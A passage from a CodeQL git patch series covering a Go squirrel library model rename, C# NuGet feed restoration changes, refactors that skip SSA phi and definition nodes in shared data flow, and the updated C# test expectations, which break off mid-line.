b/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/vendor/modules.txt @@ -13,6 +13,9 @@ github.com/couchbase/gocb/v2 # github.com/jmoiron/sqlx v1.4.0 ## explicit github.com/jmoiron/sqlx +# github.com/Masterminds/squirrel v1.5.4 +## explicit +github.com/Masterminds/squirrel # github.com/rqlite/gorqlite v0.0.0-20250128004930-114c7828b55a ## explicit github.com/rqlite/gorqlite From bf82a87a68c8f31cba748864b65b92f4e937f9d7 Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Fri, 21 Mar 2025 12:35:16 +0000 Subject: [PATCH 057/121] Rename model file to fix typo --- ...uirrel.model.yml => github.com.masterminds.squirrel.model.yml} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename go/ql/lib/ext/{github.com.mastermind.squirrel.model.yml => github.com.masterminds.squirrel.model.yml} (100%) diff --git a/go/ql/lib/ext/github.com.mastermind.squirrel.model.yml b/go/ql/lib/ext/github.com.masterminds.squirrel.model.yml similarity index 100% rename from go/ql/lib/ext/github.com.mastermind.squirrel.model.yml rename to go/ql/lib/ext/github.com.masterminds.squirrel.model.yml From 0fbeef8f4180e5b8d5b2046f9cf3b66ddbb36e7d Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Fri, 21 Mar 2025 12:54:25 +0000 Subject: [PATCH 058/121] Remove model for method that doesn't exist --- go/ql/lib/ext/github.com.masterminds.squirrel.model.yml | 1 - 1 file changed, 1 deletion(-) diff --git a/go/ql/lib/ext/github.com.masterminds.squirrel.model.yml b/go/ql/lib/ext/github.com.masterminds.squirrel.model.yml index d3d11c48d55..274641b46d8 100644 --- a/go/ql/lib/ext/github.com.masterminds.squirrel.model.yml +++ b/go/ql/lib/ext/github.com.masterminds.squirrel.model.yml @@ -16,7 +16,6 @@ extensions: - ["group:squirrel", "", True, "QueryWith", "", "", "ReturnValue[0]", "database", "manual"] - ["group:squirrel", "DeleteBuilder", True, "Query", "", "", "ReturnValue[0]", "database", "manual"] - ["group:squirrel", "DeleteBuilder", True, "QueryContext", "", "", "ReturnValue[0]", "database", "manual"] - - ["group:squirrel", "DeleteBuilder", True, "QueryRow", "", "", "ReturnValue[0]", "database", "manual"] - ["group:squirrel", "DeleteBuilder", True, "QueryRowContext", "", "", "ReturnValue[0]", "database", "manual"] - ["group:squirrel", "InsertBuilder", True, "Query", "", "", "ReturnValue[0]", "database", "manual"] - ["group:squirrel", "InsertBuilder", True, "QueryContext", "", "", "ReturnValue[0]", "database", "manual"] From 73ca2eb2c55afb59fd1272b9811f65476d4afb4e Mon Sep 17 00:00:00 2001 From: "Michael B. Gale" Date: Tue, 25 Mar 2025 10:44:29 +0000 Subject: [PATCH 059/121] C#: Use `allFeeds` rather than `explicitFeeds` for `RestoreProjects` --- .../NugetPackageRestorer.cs | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/NugetPackageRestorer.cs b/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/NugetPackageRestorer.cs index 32107f44991..3a0f953fc61 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/NugetPackageRestorer.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/NugetPackageRestorer.cs @@ -103,10 +103,11 @@ namespace Semmle.Extraction.CSharp.DependencyFetching compilationInfoContainer.CompilationInfos.Add(("NuGet feed responsiveness checked", checkNugetFeedResponsiveness ? "1" : "0")); HashSet? explicitFeeds = null; + HashSet? allFeeds = null; try { - if (checkNugetFeedResponsiveness && !CheckFeeds(out explicitFeeds)) + if (checkNugetFeedResponsiveness && !CheckFeeds(out explicitFeeds, out allFeeds)) { // todo: we could also check the reachability of the inherited nuget feeds, but to use those in the fallback we would need to handle authentication too. var unresponsiveMissingPackageLocation = DownloadMissingPackagesFromSpecificFeeds(explicitFeeds); @@ -156,7 +157,7 @@ namespace Semmle.Extraction.CSharp.DependencyFetching var restoredProjects = RestoreSolutions(out var container); var projects = fileProvider.Projects.Except(restoredProjects); - RestoreProjects(projects, explicitFeeds, out var containers); + RestoreProjects(projects, allFeeds, out var containers); var dependencies = containers.Flatten(container); @@ -704,10 +705,11 @@ namespace Semmle.Extraction.CSharp.DependencyFetching /// as well as any private package registry feeds that are configured. /// /// Outputs the set of explicit feeds. + /// Outputs the set of all feeds (explicit and inherited). /// True if all feeds are reachable or false otherwise. - private bool CheckFeeds(out HashSet explicitFeeds) + private bool CheckFeeds(out HashSet explicitFeeds, out HashSet allFeeds) { - (explicitFeeds, var allFeeds) = GetAllFeeds(); + (explicitFeeds, allFeeds) = GetAllFeeds(); HashSet feedsToCheck = explicitFeeds; // If private package registries are configured for C#, then check those From be95d335b7286a91ba743390cf5c8480d788ebeb Mon Sep 17 00:00:00 2001 From: "Michael B. Gale" Date: Tue, 25 Mar 2025 11:29:06 +0000 Subject: [PATCH 060/121] C#: Obtain all feeds from source directory if there are no `nuget.config` files anywhere --- .../NugetPackageRestorer.cs | 42 ++++++++++++------- 1 file changed, 26 insertions(+), 16 deletions(-) diff --git a/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/NugetPackageRestorer.cs b/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/NugetPackageRestorer.cs index 3a0f953fc61..d487bc37572 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/NugetPackageRestorer.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/NugetPackageRestorer.cs @@ -810,23 +810,33 @@ namespace Semmle.Extraction.CSharp.DependencyFetching } // todo: this could be improved. - // We don't have to get the feeds from each of the folders from below, it would be enought to check the folders that recursively contain the others. - var allFeeds = nugetConfigs - .Select(config => - { - try + HashSet? allFeeds = null; + + if (nugetConfigs.Count > 0) + { + // We don't have to get the feeds from each of the folders from below, it would be enought to check the folders that recursively contain the others. + allFeeds = nugetConfigs + .Select(config => { - return new FileInfo(config).Directory?.FullName; - } - catch (Exception exc) - { - logger.LogWarning($"Failed to get directory of '{config}': {exc}"); - } - return null; - }) - .Where(folder => folder != null) - .SelectMany(folder => GetFeeds(() => dotnet.GetNugetFeedsFromFolder(folder!))) - .ToHashSet(); + try + { + return new FileInfo(config).Directory?.FullName; + } + catch (Exception exc) + { + logger.LogWarning($"Failed to get directory of '{config}': {exc}"); + } + return null; + }) + .Where(folder => folder != null) + .SelectMany(folder => GetFeeds(() => dotnet.GetNugetFeedsFromFolder(folder!))) + .ToHashSet(); + } + else + { + // If we haven't found any `nuget.config` files, then obtain a list of feeds from the root source directory. + allFeeds = GetFeeds(() => dotnet.GetNugetFeedsFromFolder(this.fileProvider.SourceDir.FullName)).ToHashSet(); + } logger.LogInfo($"Found {allFeeds.Count} Nuget feeds (with inherited ones) in nuget.config files: {string.Join(", ", allFeeds.OrderBy(f => f))}"); From 5aa7029934ce41e15eee9bcb3a1bc398ebf44f31 Mon Sep 17 00:00:00 2001 From: Anders Schack-Mulligen Date: Fri, 14 Mar 2025 14:37:32 +0100 Subject: [PATCH 061/121] SSA: Add support for skipping WriteDefinitions in use-use. --- shared/ssa/codeql/ssa/Ssa.qll | 85 +++++++++++++++++++++++------------ 1 file changed, 56 insertions(+), 29 deletions(-) diff --git a/shared/ssa/codeql/ssa/Ssa.qll b/shared/ssa/codeql/ssa/Ssa.qll index b893c75eb8e..e7f95d884d8 100644 --- a/shared/ssa/codeql/ssa/Ssa.qll +++ b/shared/ssa/codeql/ssa/Ssa.qll @@ -1495,6 +1495,13 @@ module Make Input> { /** Holds if `guard` controls block `bb` upon evaluating to `branch`. */ predicate guardControlsBlock(Guard guard, BasicBlock bb, boolean branch); + + /** + * Holds if `WriteDefinition`s should be included as an intermediate node + * between the assigned `Expr` or `Parameter` and the first read of the SSA + * definition. + */ + default predicate includeWriteDefsInFlowStep() { any() } } /** @@ -1783,13 +1790,45 @@ module Make Input> { exists(DefinitionExt def | nodeFrom.(SsaDefinitionExtNodeImpl).getDefExt() = def and def.definesAt(v, bb, i, _) and - isUseStep = false + isUseStep = false and + if DfInput::includeWriteDefsInFlowStep() + then any() + else ( + def instanceof PhiNode or + def instanceof PhiReadNode or + DfInput::allowFlowIntoUncertainDef(def) + ) ) or [nodeFrom, nodeFrom.(ExprPostUpdateNode).getPreUpdateNode()].(ReadNode).readsAt(bb, i, v) and isUseStep = true } + private predicate flowFromRefToNode(SourceVariable v, BasicBlock bb1, int i1, Node nodeTo) { + // Flow from definition/read to next read + exists(BasicBlock bb2, int i2 | + AdjacentSsaRefs::adjacentRefRead(bb1, i1, bb2, i2, v) and + nodeTo.(ReadNode).readsAt(bb2, i2, v) + ) + or + // Flow from definition/read to next uncertain write + exists(BasicBlock bb2, int i2 | + AdjacentSsaRefs::adjacentRefRead(bb1, i1, bb2, i2, v) and + exists(UncertainWriteDefinition def2 | + DfInput::allowFlowIntoUncertainDef(def2) and + nodeTo.(SsaDefinitionNode).getDefinition() = def2 and + def2.definesAt(v, bb2, i2) + ) + ) + or + // Flow from definition/read to phi input + exists(BasicBlock input, BasicBlock bbPhi, DefinitionExt phi | + AdjacentSsaRefs::adjacentRefPhi(bb1, i1, input, bbPhi, v) and + nodeTo = TSsaInputNode(phi, input) and + phi.definesAt(v, bbPhi, -1, _) + ) + } + /** * Holds if there is a local flow step from `nodeFrom` to `nodeTo`. * @@ -1804,35 +1843,21 @@ module Make Input> { // Flow from parameter into entry definition DfInput::ssaDefInitializesParam(def, nodeFrom.(ParameterNode).getParameter()) | - nodeTo.(SsaDefinitionNode).getDefinition() = def and - v = def.getSourceVariable() and - isUseStep = false + isUseStep = false and + if DfInput::includeWriteDefsInFlowStep() + then + nodeTo.(SsaDefinitionNode).getDefinition() = def and + v = def.getSourceVariable() + else + exists(BasicBlock bb1, int i1 | + def.definesAt(v, bb1, i1) and + flowFromRefToNode(v, bb1, i1, nodeTo) + ) ) or - // Flow from definition/read to next read - exists(BasicBlock bb1, int i1, BasicBlock bb2, int i2 | + exists(BasicBlock bb1, int i1 | flowOutOf(nodeFrom, v, bb1, i1, isUseStep) and - AdjacentSsaRefs::adjacentRefRead(bb1, i1, bb2, i2, v) and - nodeTo.(ReadNode).readsAt(bb2, i2, v) - ) - or - // Flow from definition/read to next uncertain write - exists(BasicBlock bb1, int i1, BasicBlock bb2, int i2 | - flowOutOf(nodeFrom, v, bb1, i1, isUseStep) and - AdjacentSsaRefs::adjacentRefRead(bb1, i1, bb2, i2, v) and - exists(UncertainWriteDefinition def2 | - DfInput::allowFlowIntoUncertainDef(def2) and - nodeTo.(SsaDefinitionNode).getDefinition() = def2 and - def2.definesAt(v, bb2, i2) - ) - ) - or - // Flow from definition/read to phi input - exists(BasicBlock bb, int i, BasicBlock input, BasicBlock bbPhi, DefinitionExt phi | - flowOutOf(nodeFrom, v, bb, i, isUseStep) and - AdjacentSsaRefs::adjacentRefPhi(bb, i, input, bbPhi, v) and - nodeTo = TSsaInputNode(phi, input) and - phi.definesAt(v, bbPhi, -1, _) + flowFromRefToNode(v, bb1, i1, nodeTo) ) or // Flow from input node to def @@ -1853,8 +1878,10 @@ module Make Input> { // Flow from parameter into entry definition DfInput::ssaDefInitializesParam(def, nodeFrom.(ParameterNode).getParameter()) | - nodeTo.(SsaDefinitionNode).getDefinition() = def and - v = def.getSourceVariable() + v = def.getSourceVariable() and + if DfInput::includeWriteDefsInFlowStep() + then nodeTo.(SsaDefinitionNode).getDefinition() = def + else nodeTo.(ExprNode).getExpr() = DfInput::getARead(def) ) or // Flow from SSA definition to read From 7c82f51381567f0d05c6bf97862fd2e57edb6021 Mon Sep 17 00:00:00 2001 From: Anders Schack-Mulligen Date: Fri, 14 Mar 2025 14:58:08 +0100 Subject: [PATCH 062/121] Java: Skip SSA definition nodes in data flow. --- java/ql/lib/semmle/code/java/dataflow/internal/SsaImpl.qll | 2 ++ 1 file changed, 2 insertions(+) diff --git a/java/ql/lib/semmle/code/java/dataflow/internal/SsaImpl.qll b/java/ql/lib/semmle/code/java/dataflow/internal/SsaImpl.qll index 2803445f48e..abdd5c7176b 100644 --- a/java/ql/lib/semmle/code/java/dataflow/internal/SsaImpl.qll +++ b/java/ql/lib/semmle/code/java/dataflow/internal/SsaImpl.qll @@ -684,6 +684,8 @@ private module DataFlowIntegrationInput implements Impl::DataFlowIntegrationInpu predicate guardControlsBlock(Guard guard, BasicBlock bb, boolean branch) { guard.controls(bb, branch) } + + predicate includeWriteDefsInFlowStep() { none() } } private module DataFlowIntegrationImpl = Impl::DataFlowIntegration; From c778bf63438c600d309c68b1acb3d09424756f98 Mon Sep 17 00:00:00 2001 From: Anders Schack-Mulligen Date: Fri, 14 Mar 2025 15:17:48 +0100 Subject: [PATCH 063/121] SSA: Rename SsaInputDefinitionExt --- shared/ssa/codeql/ssa/Ssa.qll | 22 ++++++++++------------ 1 file changed, 10 insertions(+), 12 deletions(-) diff --git a/shared/ssa/codeql/ssa/Ssa.qll b/shared/ssa/codeql/ssa/Ssa.qll index e7f95d884d8..9b5b5c12e2d 100644 --- a/shared/ssa/codeql/ssa/Ssa.qll +++ b/shared/ssa/codeql/ssa/Ssa.qll @@ -1515,9 +1515,9 @@ module Make Input> { final private class DefinitionExtFinal = DefinitionExt; - /** An SSA definition into which another SSA definition may flow. */ - private class SsaInputDefinitionExt extends DefinitionExtFinal { - SsaInputDefinitionExt() { + /** An SSA definition which is either a phi node or a phi read node. */ + private class SsaPhiExt extends DefinitionExtFinal { + SsaPhiExt() { this instanceof PhiNode or this instanceof PhiReadNode @@ -1525,7 +1525,7 @@ module Make Input> { } cached - private Definition getAPhiInputDef(SsaInputDefinitionExt phi, BasicBlock bb) { + private Definition getAPhiInputDef(SsaPhiExt phi, BasicBlock bb) { exists(SourceVariable v, BasicBlock bbDef | phi.definesAt(v, bbDef, _, _) and getABasicBlockPredecessor(bbDef) = bb and @@ -1546,9 +1546,7 @@ module Make Input> { ) } or TSsaDefinitionNode(DefinitionExt def) or - TSsaInputNode(SsaInputDefinitionExt phi, BasicBlock input) { - exists(getAPhiInputDef(phi, input)) - } + TSsaInputNode(SsaPhiExt phi, BasicBlock input) { exists(getAPhiInputDef(phi, input)) } /** * A data flow node that we need to reference in the value step relation. @@ -1750,7 +1748,7 @@ module Make Input> { * both inputs into the phi read node after the outer condition are guarded. */ private class SsaInputNodeImpl extends SsaNodeImpl, TSsaInputNode { - private SsaInputDefinitionExt def_; + private SsaPhiExt def_; private BasicBlock input_; SsaInputNodeImpl() { this = TSsaInputNode(def_, input_) } @@ -1761,9 +1759,9 @@ module Make Input> { input = input_ } - SsaInputDefinitionExt getPhi() { result = def_ } + SsaPhiExt getPhi() { result = def_ } - deprecated override SsaInputDefinitionExt getDefinitionExt() { result = def_ } + deprecated override SsaPhiExt getDefinitionExt() { result = def_ } override BasicBlock getBasicBlock() { result = input_ } @@ -1903,7 +1901,7 @@ module Make Input> { pragma[nomagic] private Definition getAPhiInputDef(SsaInputNodeImpl n) { - exists(SsaInputDefinitionExt phi, BasicBlock bb | + exists(SsaPhiExt phi, BasicBlock bb | result = getAPhiInputDef(phi, bb) and n.isInputInto(phi, bb) ) @@ -1997,7 +1995,7 @@ module Make Input> { ) or // guard controls input block to a phi node - exists(SsaInputDefinitionExt phi | + exists(SsaPhiExt phi | def = getAPhiInputDef(result) and result.(SsaInputNodeImpl).isInputInto(phi, bb) | From 669f9261f17020003ad380130a5ff960aec0cd9a Mon Sep 17 00:00:00 2001 From: Anders Schack-Mulligen Date: Fri, 14 Mar 2025 15:41:20 +0100 Subject: [PATCH 064/121] SSA: Skip irrelevant phi input nodes. --- shared/ssa/codeql/ssa/Ssa.qll | 37 +++++++++++++++++++++++++++++++++-- 1 file changed, 35 insertions(+), 2 deletions(-) diff --git a/shared/ssa/codeql/ssa/Ssa.qll b/shared/ssa/codeql/ssa/Ssa.qll index 9b5b5c12e2d..1dca7ad3ef6 100644 --- a/shared/ssa/codeql/ssa/Ssa.qll +++ b/shared/ssa/codeql/ssa/Ssa.qll @@ -1502,6 +1502,12 @@ module Make Input> { * definition. */ default predicate includeWriteDefsInFlowStep() { any() } + + /** + * Holds if barrier guards should be supported on input edges to phi + * nodes. Disable this only if barrier guards are not going to be used. + */ + default predicate supportBarrierGuardsOnPhiEdges() { any() } } /** @@ -1533,6 +1539,29 @@ module Make Input> { ) } + /** + * Holds if the input to `phi` from the block `input` might be relevant for + * barrier guards as a separately synthesized `TSsaInputNode`. + */ + private predicate relevantPhiInputNode(SsaPhiExt phi, BasicBlock input) { + DfInput::supportBarrierGuardsOnPhiEdges() and + // If the input isn't explicitly read then a guard cannot check it. + exists(DfInput::getARead(getAPhiInputDef(phi, input))) and + ( + exists(DfInput::Guard g | g.controlsBranchEdge(input, phi.getBasicBlock(), _)) + or + exists(BasicBlock prev | + AdjacentSsaRefs::adjacentRefPhi(prev, _, input, phi.getBasicBlock(), + phi.getSourceVariable()) and + prev != input and + exists(DfInput::Guard g, boolean branch | + DfInput::guardControlsBlock(g, input, branch) and + not DfInput::guardControlsBlock(g, prev, branch) + ) + ) + ) + } + private newtype TNode = TParamNode(DfInput::Parameter p) { exists(WriteDefinition def | DfInput::ssaDefInitializesParam(def, p)) @@ -1546,7 +1575,7 @@ module Make Input> { ) } or TSsaDefinitionNode(DefinitionExt def) or - TSsaInputNode(SsaPhiExt phi, BasicBlock input) { exists(getAPhiInputDef(phi, input)) } + TSsaInputNode(SsaPhiExt phi, BasicBlock input) { relevantPhiInputNode(phi, input) } /** * A data flow node that we need to reference in the value step relation. @@ -1822,8 +1851,12 @@ module Make Input> { // Flow from definition/read to phi input exists(BasicBlock input, BasicBlock bbPhi, DefinitionExt phi | AdjacentSsaRefs::adjacentRefPhi(bb1, i1, input, bbPhi, v) and - nodeTo = TSsaInputNode(phi, input) and phi.definesAt(v, bbPhi, -1, _) + | + nodeTo = TSsaInputNode(phi, input) + or + not relevantPhiInputNode(phi, input) and + nodeTo.(SsaDefinitionExtNodeImpl).getDefExt() = phi ) } From 4e2ad9712ca53a4dba2158aa387874f1cc5650bc Mon Sep 17 00:00:00 2001 From: Anders Schack-Mulligen Date: Mon, 17 Mar 2025 13:56:22 +0100 Subject: [PATCH 065/121] SSA: Skip phi nodes with unique successor. --- shared/ssa/codeql/ssa/Ssa.qll | 76 ++++++++++++++++++++++++++++++----- 1 file changed, 66 insertions(+), 10 deletions(-) diff --git a/shared/ssa/codeql/ssa/Ssa.qll b/shared/ssa/codeql/ssa/Ssa.qll index 1dca7ad3ef6..b0903132a08 100644 --- a/shared/ssa/codeql/ssa/Ssa.qll +++ b/shared/ssa/codeql/ssa/Ssa.qll @@ -1562,6 +1562,58 @@ module Make Input> { ) } + /** + * Holds if a next adjacent use of `phi` is as input to `phi2` through + * `input`. The boolean `relevant` indicates whether the input edge might + * be relevant for barrier guards. + */ + private predicate phiStepsToPhiInput( + SsaPhiExt phi, SsaPhiExt phi2, BasicBlock input, boolean relevant + ) { + exists(BasicBlock bb1, int i, SourceVariable v, BasicBlock bb2 | + phi.definesAt(v, bb1, i, _) and + AdjacentSsaRefs::adjacentRefPhi(bb1, i, input, bb2, v) and + phi2.definesAt(v, bb2, _, _) and + if relevantPhiInputNode(phi2, input) then relevant = true else relevant = false + ) + } + + /** + * Holds if a next adjacent use of `phi` occurs at index `i` in basic block + * `bb`. The boolean `isUse` indicates whether the use is a read or an + * uncertain write. + */ + private predicate phiStepsToRef(SsaPhiExt phi, BasicBlock bb, int i, boolean isUse) { + exists(SourceVariable v, BasicBlock bb1, int i1 | + phi.definesAt(v, bb1, i1, _) and + AdjacentSsaRefs::adjacentRefRead(bb1, i1, bb, i, v) + | + isUse = true and + variableRead(bb, i, v, true) + or + isUse = false and + exists(UncertainWriteDefinition def2 | + DfInput::allowFlowIntoUncertainDef(def2) and + def2.definesAt(v, bb, i) + ) + ) + } + + /** + * Holds if the next adjacent use of `phi` is unique. In this case, we can + * skip the phi in the use-use step relation without increasing the number + * flow edges. + */ + private predicate phiHasUniqNextNode(SsaPhiExt phi) { + exists(int nextPhiInput, int nextPhi, int nextRef | + 1 = nextPhiInput + nextPhi + nextRef and + nextPhiInput = + count(SsaPhiExt phi2, BasicBlock input | phiStepsToPhiInput(phi, phi2, input, true)) and + nextPhi = count(SsaPhiExt phi2 | phiStepsToPhiInput(phi, phi2, _, false)) and + nextRef = count(BasicBlock bb, int i, boolean isUse | phiStepsToRef(phi, bb, i, isUse)) + ) + } + private newtype TNode = TParamNode(DfInput::Parameter p) { exists(WriteDefinition def | DfInput::ssaDefInitializesParam(def, p)) @@ -1574,7 +1626,7 @@ module Make Input> { isPost = false ) } or - TSsaDefinitionNode(DefinitionExt def) or + TSsaDefinitionNode(DefinitionExt def) { not phiHasUniqNextNode(def) } or TSsaInputNode(SsaPhiExt phi, BasicBlock input) { relevantPhiInputNode(phi, input) } /** @@ -1853,10 +1905,12 @@ module Make Input> { AdjacentSsaRefs::adjacentRefPhi(bb1, i1, input, bbPhi, v) and phi.definesAt(v, bbPhi, -1, _) | - nodeTo = TSsaInputNode(phi, input) - or - not relevantPhiInputNode(phi, input) and - nodeTo.(SsaDefinitionExtNodeImpl).getDefExt() = phi + if relevantPhiInputNode(phi, input) + then nodeTo = TSsaInputNode(phi, input) + else + if phiHasUniqNextNode(phi) + then flowFromRefToNode(v, bbPhi, -1, nodeTo) + else nodeTo.(SsaDefinitionExtNodeImpl).getDefExt() = phi ) } @@ -1892,11 +1946,13 @@ module Make Input> { ) or // Flow from input node to def - exists(DefinitionExt def | - nodeTo.(SsaDefinitionExtNodeImpl).getDefExt() = def and - def = nodeFrom.(SsaInputNodeImpl).getPhi() and - v = def.getSourceVariable() and - isUseStep = false + exists(DefinitionExt phi, BasicBlock bbPhi | + phi = nodeFrom.(SsaInputNodeImpl).getPhi() and + phi.definesAt(v, bbPhi, _, _) and + isUseStep = false and + if phiHasUniqNextNode(phi) + then flowFromRefToNode(v, bbPhi, -1, nodeTo) + else nodeTo.(SsaDefinitionExtNodeImpl).getDefExt() = phi ) } From 36532bc58c8400093579d87ea19e3f992a9ad696 Mon Sep 17 00:00:00 2001 From: Anders Schack-Mulligen Date: Mon, 17 Mar 2025 15:16:59 +0100 Subject: [PATCH 066/121] SSA: Skip identity steps. --- shared/ssa/codeql/ssa/Ssa.qll | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/shared/ssa/codeql/ssa/Ssa.qll b/shared/ssa/codeql/ssa/Ssa.qll index b0903132a08..270afe47642 100644 --- a/shared/ssa/codeql/ssa/Ssa.qll +++ b/shared/ssa/codeql/ssa/Ssa.qll @@ -1942,7 +1942,8 @@ module Make Input> { or exists(BasicBlock bb1, int i1 | flowOutOf(nodeFrom, v, bb1, i1, isUseStep) and - flowFromRefToNode(v, bb1, i1, nodeTo) + flowFromRefToNode(v, bb1, i1, nodeTo) and + nodeFrom != nodeTo ) or // Flow from input node to def @@ -1950,6 +1951,7 @@ module Make Input> { phi = nodeFrom.(SsaInputNodeImpl).getPhi() and phi.definesAt(v, bbPhi, _, _) and isUseStep = false and + nodeFrom != nodeTo and if phiHasUniqNextNode(phi) then flowFromRefToNode(v, bbPhi, -1, nodeTo) else nodeTo.(SsaDefinitionExtNodeImpl).getDefExt() = phi From 0162b84d206452a4909845d1d3a613cdd9bfe730 Mon Sep 17 00:00:00 2001 From: Anders Schack-Mulligen Date: Tue, 18 Mar 2025 10:33:55 +0100 Subject: [PATCH 067/121] SSA: Fix a poor join-order and avoid SSA recomputation. --- shared/ssa/codeql/ssa/Ssa.qll | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/shared/ssa/codeql/ssa/Ssa.qll b/shared/ssa/codeql/ssa/Ssa.qll index 270afe47642..42a8689c723 100644 --- a/shared/ssa/codeql/ssa/Ssa.qll +++ b/shared/ssa/codeql/ssa/Ssa.qll @@ -1571,9 +1571,9 @@ module Make Input> { SsaPhiExt phi, SsaPhiExt phi2, BasicBlock input, boolean relevant ) { exists(BasicBlock bb1, int i, SourceVariable v, BasicBlock bb2 | - phi.definesAt(v, bb1, i, _) and + phi.definesAt(pragma[only_bind_into](v), bb1, i, _) and AdjacentSsaRefs::adjacentRefPhi(bb1, i, input, bb2, v) and - phi2.definesAt(v, bb2, _, _) and + phi2.definesAt(pragma[only_bind_into](v), bb2, _, _) and if relevantPhiInputNode(phi2, input) then relevant = true else relevant = false ) } @@ -1614,6 +1614,7 @@ module Make Input> { ) } + cached private newtype TNode = TParamNode(DfInput::Parameter p) { exists(WriteDefinition def | DfInput::ssaDefInitializesParam(def, p)) From b3bea973205486969a7d4ead931f5c7a90b97749 Mon Sep 17 00:00:00 2001 From: Anders Schack-Mulligen Date: Tue, 18 Mar 2025 10:39:17 +0100 Subject: [PATCH 068/121] C#: Accept test changes. --- .../csharp7/LocalTaintFlow.expected | 18 +- .../dataflow/local/DataFlowStep.expected | 736 +++++++----------- .../dataflow/local/TaintTrackingStep.expected | 736 +++++++----------- 3 files changed, 581 insertions(+), 909 deletions(-) diff --git a/csharp/ql/test/library-tests/csharp7/LocalTaintFlow.expected b/csharp/ql/test/library-tests/csharp7/LocalTaintFlow.expected index 4a16e2491df..a6ecbc3356d 100644 --- a/csharp/ql/test/library-tests/csharp7/LocalTaintFlow.expected +++ b/csharp/ql/test/library-tests/csharp7/LocalTaintFlow.expected @@ -252,7 +252,7 @@ | CSharp7.cs:233:28:233:29 | access to local variable i1 | CSharp7.cs:235:38:235:39 | access to local variable i1 | | CSharp7.cs:233:28:233:33 | ... > ... | CSharp7.cs:233:13:233:33 | [false] ... && ... | | CSharp7.cs:233:28:233:33 | ... > ... | CSharp7.cs:233:13:233:33 | [true] ... && ... | -| CSharp7.cs:235:13:235:42 | [input] SSA phi read(o) | CSharp7.cs:248:9:274:9 | SSA phi read(o) | +| CSharp7.cs:235:13:235:42 | [input] SSA phi read(o) | CSharp7.cs:248:17:248:17 | access to local variable o | | CSharp7.cs:235:33:235:36 | "int " | CSharp7.cs:235:31:235:41 | $"..." | | CSharp7.cs:235:38:235:39 | access to local variable i1 | CSharp7.cs:235:31:235:41 | $"..." | | CSharp7.cs:237:18:237:18 | access to local variable o | CSharp7.cs:237:23:237:31 | String s1 | @@ -260,18 +260,17 @@ | CSharp7.cs:237:18:237:18 | access to local variable o | CSharp7.cs:241:18:241:18 | access to local variable o | | CSharp7.cs:237:23:237:31 | SSA def(s1) | CSharp7.cs:239:41:239:42 | access to local variable s1 | | CSharp7.cs:237:23:237:31 | String s1 | CSharp7.cs:237:23:237:31 | SSA def(s1) | -| CSharp7.cs:239:13:239:45 | [input] SSA phi read(o) | CSharp7.cs:248:9:274:9 | SSA phi read(o) | +| CSharp7.cs:239:13:239:45 | [input] SSA phi read(o) | CSharp7.cs:248:17:248:17 | access to local variable o | | CSharp7.cs:239:33:239:39 | "string " | CSharp7.cs:239:31:239:44 | $"..." | | CSharp7.cs:239:41:239:42 | access to local variable s1 | CSharp7.cs:239:31:239:44 | $"..." | | CSharp7.cs:241:18:241:18 | access to local variable o | CSharp7.cs:242:9:243:9 | [input] SSA phi read(o) | | CSharp7.cs:241:18:241:18 | access to local variable o | CSharp7.cs:244:18:244:18 | access to local variable o | -| CSharp7.cs:242:9:243:9 | [input] SSA phi read(o) | CSharp7.cs:248:9:274:9 | SSA phi read(o) | +| CSharp7.cs:242:9:243:9 | [input] SSA phi read(o) | CSharp7.cs:248:17:248:17 | access to local variable o | | CSharp7.cs:244:18:244:18 | access to local variable o | CSharp7.cs:244:18:244:28 | [input] SSA phi read(o) | | CSharp7.cs:244:18:244:18 | access to local variable o | CSharp7.cs:244:23:244:28 | Object v1 | | CSharp7.cs:244:18:244:18 | access to local variable o | CSharp7.cs:245:9:246:9 | [input] SSA phi read(o) | -| CSharp7.cs:244:18:244:28 | [input] SSA phi read(o) | CSharp7.cs:248:9:274:9 | SSA phi read(o) | -| CSharp7.cs:245:9:246:9 | [input] SSA phi read(o) | CSharp7.cs:248:9:274:9 | SSA phi read(o) | -| CSharp7.cs:248:9:274:9 | SSA phi read(o) | CSharp7.cs:248:17:248:17 | access to local variable o | +| CSharp7.cs:244:18:244:28 | [input] SSA phi read(o) | CSharp7.cs:248:17:248:17 | access to local variable o | +| CSharp7.cs:245:9:246:9 | [input] SSA phi read(o) | CSharp7.cs:248:17:248:17 | access to local variable o | | CSharp7.cs:248:17:248:17 | access to local variable o | CSharp7.cs:254:27:254:27 | access to local variable o | | CSharp7.cs:248:17:248:17 | access to local variable o | CSharp7.cs:257:18:257:23 | Int32 i2 | | CSharp7.cs:248:17:248:17 | access to local variable o | CSharp7.cs:260:18:260:23 | Int32 i3 | @@ -312,10 +311,8 @@ | CSharp7.cs:285:39:285:42 | access to local variable list | CSharp7.cs:287:36:287:39 | access to local variable list | | CSharp7.cs:287:36:287:39 | access to local variable list | CSharp7.cs:289:32:289:35 | access to local variable list | | CSharp7.cs:297:18:297:18 | access to local variable x | CSharp7.cs:297:18:297:22 | SSA def(x) | -| CSharp7.cs:297:18:297:22 | SSA def(x) | CSharp7.cs:297:18:297:22 | [input] SSA phi(x) | -| CSharp7.cs:297:18:297:22 | [input] SSA phi(x) | CSharp7.cs:297:25:297:25 | SSA phi(x) | +| CSharp7.cs:297:18:297:22 | SSA def(x) | CSharp7.cs:297:25:297:25 | access to local variable x | | CSharp7.cs:297:22:297:22 | 0 | CSharp7.cs:297:18:297:18 | access to local variable x | -| CSharp7.cs:297:25:297:25 | SSA phi(x) | CSharp7.cs:297:25:297:25 | access to local variable x | | CSharp7.cs:297:25:297:25 | access to local variable x | CSharp7.cs:297:25:297:30 | ... < ... | | CSharp7.cs:297:25:297:25 | access to local variable x | 